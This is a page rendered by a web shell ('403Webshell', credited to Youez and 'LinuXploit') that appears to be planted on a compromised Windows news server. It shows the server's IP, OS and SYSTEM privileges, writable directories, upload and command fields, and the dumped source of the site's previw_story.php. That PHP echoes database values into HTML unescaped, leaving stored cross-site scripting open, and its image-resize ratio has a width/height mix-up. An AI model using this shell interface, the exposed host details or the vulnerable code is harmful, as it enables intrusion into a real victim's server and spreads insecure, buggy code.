403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/move/sfadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/move/sfadmin//previw_story.php
<?php
include ('../db.php');

$id = $mysqli->escape_string($_GET['id']);

$story = $mysqli->query("SELECT * FROM posts WHERE id='$id' LIMIT 1");
$storyrow = mysqli_fetch_array($story);
	
	$storydescription = stripslashes($storyrow['description']);
	$userid = $storyrow['uid'];
	$link = $storyrow['url'];
	
	list($original_width, $original_height) = getimagesize("".$storyrow['image']."");
	
//change image size

$max_width = 600;
$max_height = 400;


$ratio = ($max_width / $original_width < $max_height / $original_height
  ? $max_width / $original_width
  : $max_height / $original_width
);
if ($original_width > $max_width || $original_height > $max_height) {
  $new_width = $original_width * $ratio;
  $new_height = $original_height * $ratio;
}	
	

$user = $mysqli->query("SELECT * FROM users WHERE id='$userid' LIMIT 1");
$userrow = mysqli_fetch_array($user);
?>

<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title><?php echo $storyrow['title'];?></title>
<meta name="description" content="<?php echo $storydescription; ?>" />

<link href="css/style.css" rel="stylesheet" type="text/css">
</head>

<body>

<div class="story-box">
<div class="title1"><?php echo $storyrow['title'];?></div><!--title-->
<div id="story-image">
<img src="<?php echo $storyrow['image'];?>" width="<?php echo $new_width;?>" height="<?php echo $new_height;?>" alt="<?php echo $storyrow['title'];?>" />
</div>
<div class="story-box1"><p><?php echo $storydescription;?></p></div>
<?php if (!empty($link)){?>
<div class="goto"><a class="gotobtn" href="<?php echo $link;?>" target="_blank">Visit the site to read more</a></div>
<?php }?>
<div class="look-up-story">
<p><?php echo $storyrow['views'];?> views | Posted by <?php echo $userrow['username'];?> on <?php echo $storyrow['date'];?></p>
</div><!--look-up-->

</div><!--submit box-->

Youez - 2016 - github.com/yon3zu
LinuXploit